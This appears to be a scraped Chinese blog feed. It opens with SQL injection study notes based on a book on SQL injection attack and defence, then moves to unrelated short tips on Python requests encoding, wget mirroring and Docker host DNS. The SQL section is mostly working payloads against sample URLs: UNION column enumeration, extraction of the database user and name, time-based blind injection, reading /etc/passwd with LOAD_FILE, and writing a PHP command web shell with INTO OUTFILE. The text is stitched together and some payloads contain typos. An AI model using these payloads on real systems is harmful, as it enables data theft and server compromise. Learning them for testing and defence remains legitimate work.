如果无法满足上述两个约束条件,则查询会返回一个错误。
order by
获取列数ORDER BY 子句可以接受一个列名作为参数,也可以接受一个数字作为参数。可以通过增大order by自剧中代表列的数字来识别查询中的列数(建议用二分法)。
1 | http://www.a.com/a.asp?id=12 order by 1 |
通过union查询,逐渐增大列数,直到查询正确执行。则可以直到列数。
对于大多数服务器,NULL值会被转换成任意数据类型
1 | http://www.a.com/a.asp?id=12 union select null-- |
Oracle是个例外
Oracle要求每个SELECT查询都要包含一个FROM属性,因此,如果是Oracle数据库,则要改成如下格式
1 | http://www.a.com/a.asp?id=12 union select null from dual-- |
识别出准确的列后,那么需要寻找需要的数据类型。比如想提取字一个字符串值(数据库用户等),那么则需要数据库类型为字符串的列。通过使用NULL很容易实现。
比如,目标原始查询一共只有4列
1 | http://www.a.com/a.asp?id=23 union select 'test',NULL,NUll,NUll |
只要查询能顺利执行,不返回错误,则可以知道该值为字符串值,则可以用该字段获取数据库信息。
1 | http://www.a.com/a.asp?id=23 union select NULL,system_user,NUll,NUll |
通过连接运算法以此获取多个数据。
1 | SELECT NULL,system_user + '|' + db_name(),NULL,NULL |
如果要查询的信息不属于字符串或数据类型不匹配,则可以使用强制类型转换,转换为字符串。
[强制类型转换运算符](#5. 强制类型转换)
数据库服务器 | 查询 |
---|---|
MSSQL | IF(‘a’=’a’) SELECT 1 ELSE SELECT 2 |
MySQL | IF(condition, value_if_true, value_if_false) |
Oracle | SELECT CASE WHEN ‘a’=’a’ THEN1 ELSE 2 END FROM DUAL SELECT decode(substr(user,1,1),’A’,1,2) FROM DUAL |
PostgreSQL | SELECT CASE WHEN(1=1) THEN ‘a’ else ‘b’ END |
使用条件语句利用SQL注入时,第一种方法是基于Web应用响应时间上的差异来获取某些信息的值。
1 | http://www.a.com/a.asp?id=2;IF (system_user='sa' waitfor delay '0:0:5')-- |
1 | http://www.a.com/a.asp?id=12/is_srvrolemember('sysadmin') |
1 | http://www.a.com/a.asp?id=12%2B(case when (system_user='sa') then 1 else 0 end) |
1 | --字符型注入 |
他能够读取文件并将文件内容作为字符串返回。
需要提供文件的完整路径,调用该函数的用户需要有FILE权限
示例:UNION ALL SELECT LOAD_FULE(‘/etc/passwd’)--
创建系统文件并进行写操作
1 | UNION SELECT "<? system($_REQUEST['cmd']; ?)>" INTO OUTFILE "/var/www/html/victim.com/cmd.php" - |
使用注释绕过过滤
如用多行注释绕过空格
1 | http://www.a.com/a.aspx?uid=45/**/or/**/1=1 |
以普通的用户身份运行数据库服务器,而不要使用内置账户来连接数据库(Windows下的Oracle必须以SYSTEM权限运行)。功能强大的内置账户可以在数据库上执行很多与程序需求无关的操作(如:xp_cmdshell; OPENROWSET; LOAD_FILE ; ActiveX Java等)
]]>【SQL注入攻击与防御(第2版)】
最近,在使用python的requests库抓取一些网站基本信息的时候。使用r.text提取信息。发现经常会有乱码。即使原网站的原始编码就是utf-8. 后来发现,改成r.content就没问题。
二者的区别在于content返回的是byte型数据,而text返回的是Unicode数据,也就是说text对原始数据进行的特殊的编码,而这个编码方式是基于对原始数据的猜测(响应头),
所以,如果网站的返回头如果没有制定编码,则r.text获取到的内容则可能编码出现错误。
如:Content-Type: text/html; charset=utf-8
所以,一般情况下建议用r.content。然后自己进行重新编码。
如果非要用text则可使用r.encoding = 'ISO-8859-1'
指定编码格式。
1 | wget -k -p -nH -N http://xxxweb.com |
各参数说明
1 | -k 把已下载文件中的所有链接都转换为本地引用,不再依赖原始或在线内容 |
在container中应当使用一个特殊的DNS来访问宿主机docker.for.mac.host.internal